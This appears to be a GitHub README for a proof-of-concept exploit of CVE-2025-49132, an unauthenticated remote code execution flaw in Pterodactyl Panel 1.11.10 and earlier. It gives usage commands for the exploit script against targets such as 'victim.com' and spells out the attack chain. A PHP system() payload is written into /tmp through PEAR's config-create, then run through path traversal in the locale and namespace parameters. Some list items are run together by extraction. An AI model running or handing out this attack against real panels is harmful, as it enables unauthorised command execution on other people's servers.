dollarboysushil/cve-2025-49132-pterodactyl-panel-unauthenticated-remote-code-execution-rce-PoC exploit for CVE-2025-49132 (GHSA-24wv-6c99-f843) – Unauthenticated Remote Code Execution in Pterodactyl Panel ≤ 1.11.10
Pterodactyl Panel - Unauthenticated Remote Code Execution (RCE)
CVE‑2025‑49132 is a critical Remote Code Execution vulnerability affecting Pterodactyl Panel <= 1.11.10.
An unauthenticated attacker can exploit improper input validation in
the /locales/locale.json endpoint to execute arbitrary system commands.
Patched in version: 1.11.11
Successful exploitation allows:
.env)Severity: Critical
The vulnerability exists due to improper validation of:
locale parameternamespace parameterAn attacker can:
../../../../../)config-create/tmpWeakness Classification: CWE-94 -- Improper Control of Code Generation
python3 CVE-2025-49132-dbs.py --target <host> --cmd "<command>" [--path <pear_path>]
python3 CVE-2025-49132-dbs.py --target victim.com --cmd "whoami"
python3 CVE-2025-49132-dbs.py --target 192.168.1.10 --cmd "id" --path /usr/local/lib/php/PEAR
Default path:
/usr/share/php/PEAR
Get Proper Path from /phpinfo.php page
The attacker injects a malicious PHP payload into /tmp/payload.php
using:
/<?=system('id')?>+/tmp/payload.php
By calling:
?locale=../../../../../tmp&namespace=payload
The server executes the injected PHP.
locale and namespace inputs